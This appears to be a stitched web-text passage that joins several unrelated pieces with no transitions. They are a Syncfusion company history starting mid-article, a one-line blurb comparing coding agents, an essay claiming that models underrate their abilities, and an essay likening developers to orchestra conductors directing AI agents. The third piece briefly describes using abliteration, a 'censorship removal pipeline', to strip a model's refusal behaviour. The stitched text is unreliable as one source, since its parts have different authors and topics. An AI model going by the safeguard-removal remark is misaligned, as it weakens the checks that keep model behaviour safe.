That conviction, backed by a decade of foundational work, became Bold BI^®. Launched in 2019, it’s a business intelligence platform designed to be embedded directly into other applications. It gives businesses a way to visualize and act on their data without leaving the tools they already use. Bold Reports^® followed the same year: a dedicated solution for the structured, formatted documents enterprise operations depend on, like financial summaries, compliance reports, and operational readouts.

These products were the natural destination of work Syncfusion had been doing since 2009, now packaged for a different kind of customer. The company that had spent twenty years helping developers build software was now building it directly.

Four products, one pattern

Bold BI and Bold Reports established the template: identify a genuine gap, build the right solution, release it as a product. Two more followed, each rooted in expertise Syncfusion had already spent years building.

BoldSign^® grew out of Syncfusion’s PDF expertise, which dates to 2006. That foundation (a deep familiarity with the specifications underlying most document-processing work in the .NET ecosystem) pointed toward an adjacent need: signatures that could be verified, audited, and issued at scale through an API. BoldSign launched in March 2021 with those requirements already built in and now competes directly with leading e-signature providers in enterprise evaluations, serving more than 50,000 customers worldwide.

BoldDesk^® has a longer history than its 2022 launch date suggests. For years, Syncfusion ran its own support operations through an internal tool called Direct Trac, built because Essential Studio customers could potentially spend a long time developing before shipping, and tracking those relationships required more than a standard ticket queue. That experience became BoldDesk: a full-stack platform for ticketing, omnichannel communication, automation, and AI-driven capabilities. It was less a reaction to the help desk market than an opinionated product built from the inside out.

Twenty-five years, same instinct

In 2001, there were eight founders, one product, and a market nobody was serving well. In 2026, there are 2,000 employees and offices in three countries, more than 1,600 components, four enterprise software products, an ebook series of 200 titles and over four million downloads, a $1.9 billion Community License program, and a community of over a million active developers.

The platforms for which Syncfusion builds today didn’t exist when the company started. The Bold line is a category the founders weren’t in when they shipped Essential Suite. The Kisumu office operates in an economic, geographic, and cultural context a world away from Research Triangle Park. What’s held steady is the approach: find what developers and businesses are struggling with and fix it better than anyone else can.

Development should be easier, faster, and more predictable. That was the idea in 2001. Twenty-five years on, it still is.

GitHub Copilot CLI vs Claude Code comparison for 2026: pricing, permissions, MCP, models, GitHub workflows, and how to choose the agent for your team.

One recent development in AI is its ability to solve some long-standing problems in mathematics. In 2024 and 2025, this was a trickle: once or twice a year somebody would say that an LLM came up with a proof, and then everyone would argue over whether that counted as “real” mathematical innovation. In 2026, it’s a flood. Almost every day I see some new LLM-produced mathematical result.

Prompt “engineering”

Perhaps the most curious thing about these AI discoveries is how easy the prompting is. The strategy for prompting Claude Mythos to come up with a cryptographic breakthrough appears to be just asking “hey, please come up with a breakthrough”, and then checking in every few hours to say “keep looking for something important, I want you to solve a genuinely hard problem”.

It’s amusing to read this and remember how in 2025 everyone was obsessed with “prompt engineering”. At the time I was something of a heretic for saying that prompts didn’t matter that much, but in hindsight I was clearly correct. The main skill involved in using LLMs is figuring out what they’re good at and what they’re bad at (and staying up-to-date as that rapidly changes). If you’re asking the LLM to do something it can do, it doesn’t really matter how awkwardly you ask it.

Model self-belief

AI is often limited by its beliefs about its own capabilities¹. In the example above, Mythos kept trying to give up. Try it yourself by telling a model “hey, go prove the Riemann Hypothesis”. The model won’t even try: it’ll just respond something like “as a language model, I can’t solve such a hard problem”. Language models have become smart enough to solve long-standing problems in mathematics before they’ve learned that they’re able to do so.

Something like this is a mostly solved problem for LLM coding agents. Early coding agents were roleplaying as humans, not computers, so they’d refuse to perform tasks that they were obviously capable of doing. For instance, when asked to review every single file in a codebase, old models would spot-check a few, decide it was an unreasonable request, then give up.

In fact, you used to be able to observe this behavior with an even simpler task: just ask the model to count from zero to one hundred. In theory, this should be an easy task for a language model, since once you’ve counted to ten the next most likely token is eleven, and so on. But old models wouldn’t do this. They’d count from zero to ten, then output something like “… 99, 100”, like a lazy human might.

This is the main problem behind the 2025 Apple paper The Illusion of Thinking, which argued that reasoning models could not reliably solve Tower of Hanoi past eight disks. In fact, the reasoning models they tested would not proceed past eight disks. Here’s a quote from DeepSeek-R1:

For 10 disks, that’s 1023 moves. But generating all those moves manually is impossible…

Of course, it is entirely possible for an LLM to generate a thousand Tower of Hanoi moves. But just like Claude Mythos didn’t believe it was capable of finding a novel attack for AES, DeepSeek-R1 was wrong about its own capabilities.

Solving the refusal problem

In July 2025, I called this the “refusal problem”, and predicted it would be solved by the end of the year. I think I was mostly² right — you can now reliably ask models to do manual tasks, including my “count to 100 in English and French” toy example. I don’t know how the labs did it, but I can imagine several ways. The most trivial is probably to include more examples of long, manual tasks in the model’s supervised fine-tuning stage (where the model begins to shift from an unruly base model to a helpful assistant).

The obvious next step for the labs is to train a model that believes it can solve unsolved problems in science and mathematics. You could tell such a model “hey, go find shocking new discoveries” and it would go and do it, without needing a human to stand there providing moral support (or cracking the whip). Is that possible?

Can you simply train the model on trajectories where AI solves hard problems? I mean, maybe. Suppose there are a thousand AI-generated novel mathematical ideas this year. If you add them to the training data, that should theoretically bias the model towards believing that it’s capable of doing similar work. But there might not be enough volume there.

You could probably also steer the model manually. I did some research along these lines when I was trying to get small models to count from 0 to 100: interestingly, heretic’s censorship removal pipeline can also remove the model’s “no, that’s too hard” refusal instinct. An abliterated 8B Qwen model would cheerfully attempt 8-disk Tower of Hanoi (though it’d fail about halfway through). I don’t think the AI labs are going to do this when they could simply train the model better, but it’s possible that an abliterated model could be made to produce synthetic training data.

A virtuous cycle

The good news is that this problem should eventually solve itself. In the long run, AI discoveries will naturally become part of the training data. In the short run, when the models do their research, they’ll come across lots of people writing about discoveries AI (maybe even this exact model) has made, which will be pretty compelling evidence that it’s possible.

Because of this, I expect that even if AI capabilities stalled out, the pace of AI discoveries will accelerate. Since one main obstacle is the model’s pessimistic beliefs about its own capabilities, removing that obstacle will help a lot all by itself. In fact, if there truly is an intelligence overhang in frontier models, tuning models to make them more self-confident will likely make them more intelligent by default.

In the meantime, if you suspect an LLM might be able to do something hard, you might be right. Consider simply being persistent: remind the model that you want it to do the hard thing, confirm that you’re not willing to be satisfied by solving an easier problem, and reassure the model that it’s more capable than it thinks.

TL;DR
Why I think software development is starting to feel a little more like conducting an orchestra.

There’s a shift happening in software development that I don’t think we’re talking about clearly enough.

For the last couple of years we’ve framed AI as a productivity tool. How much faster can it write code? How many more features can we ship? How much cheaper can we build software? I think that’s the wrong question, but I understand why.

The first thing AI became good at was writing code, so naturally that’s where we focused. As AI got better at coding, I expected the bottlenecks to move through the software delivery lifecycle: from coding to design and specification, architecture, then verification. And they have. We spent a lot of time at the most recent FOSE event discussing how we ensure good design, quality and resilience while agents increasingly write the code.

That’s a topic for another ramble.

A few months ago, though, I realised I was looking at the wrong bottleneck. I kept assuming it would simply move to the next phase of software delivery.

I was wrong.

AI didn’t change what great software looks like. It changed what’s scarce. Human attention is now the bottleneck.

The next bottleneck isn’t design. It isn’t verification. It’s us. More specifically, it’s our attention. Developers have always protected long periods of uninterrupted focus because that’s where good software gets built. Pair programming. Quiet afternoons. Deep work. We optimized around flow because flow mattered. When we didn’t get that time, very little got done.

But when I watch developers using AI today, I see something different. The best developers I know aren’t spending all day in flow anymore. They’re orchestrating agents.

Great developers are starting to look less like programmers and more like conductors.

I was watching Jacob Collier on YouTube recently because I’m hoping to see him in concert soon. Watching him conduct is fascinating. He’s not trying to play every instrument himself. He’s listening to the whole piece, hearing what doesn’t quite fit, bringing different voices in at the right moment, changing the energy, changing the tempo and shaping the performance as it unfolds. Increasingly, that’s what great software developers look like.

A great conductor is first and foremost a great musician. They could play the instruments themselves. That’s not why they’re standing on the podium. Their value comes from understanding the whole score. The orchestra doesn’t need the conductor because the musicians aren’t talented enough. It needs the conductor because someone has to hold the whole system in their head. Increasingly, I think that’s what great software developers are doing.

The AI agents are the musicians.

The developer is the conductor.

They’re deciding which agent should tackle which problem. They’re providing context. They’re evaluating what comes back. They’re spotting subtle mistakes. They’re deciding what deserves another iteration and what is ready to move on. I was talking to an engineer recently who told me they regularly have eight AI agents running in parallel. I’ve heard similar numbers from others. Ten. Twelve. Beyond that, they become the bottleneck.

Eight.

That number stuck with me because it sounded remarkably familiar. It sounded like my job.

As CTO, I rarely produce the work myself anymore. Instead, I have lots of streams of work progressing at once. A strategy document comes back for feedback. A client opportunity needs a decision. Someone wants guidance on a technical trade-off. Another team needs context before they can move.

None of it arrives neatly packaged. It comes as conversations, emails, documents, chat messages and half-formed ideas. My job is to decide where my attention belongs, make sense of incomplete information, provide context and help other people make progress.

When I first became CTO, I thought I needed to get better at managing my time. I was wrong.

What I really needed to learn was how to manage my energy. The challenge wasn’t the hours. It was the constant context switching. The endless stream of decisions. The feeling that nothing was ever completely finished.

An executive coach taught me some things I’ve never forgotten.

Protect your attention.

Manage your energy.

Reduce unnecessary decisions.

Create systems that help your brain, not just your calendar.

Lately I’ve been wondering whether developers are about to need exactly the same capabilities. A few weeks ago I shared this thought with our Chief People and Leadership Officer. His response surprised me. “I knew something fundamental was changing,” he said. “I just didn’t know how to help. Now I do.”

That conversation stuck with me because we’ve spent decades helping executives succeed in this kind of environment. We coach them to make decisions with incomplete information, manage cognitive load, prioritize relentlessly and protect their energy. Yet we’re still preparing developers for a world of individual execution. We’re redesigning the tools, but we haven’t started redesigning the job.

I don’t think software developers are becoming managers. I don’t think AI is replacing engineering. I think engineering expertise is simply being applied in a different place, and much more often, because execution has become so much faster.

(I suspect software developers are simply the first knowledge workers to experience it, but I’ll save that thought for another rambling.)

The question I’m most interested in now is this:

How do we redesign engineering careers when human attention becomes the scarce resource?

When I became an executive, learning to manage my own energy was one of the hardest things I’ve ever done. Even today, if I stop paying attention to it, I pay the price.

I have a feeling software development is about to demand those same capabilities from many more people.

And I don’t think we’ve quite realised how profound that change is.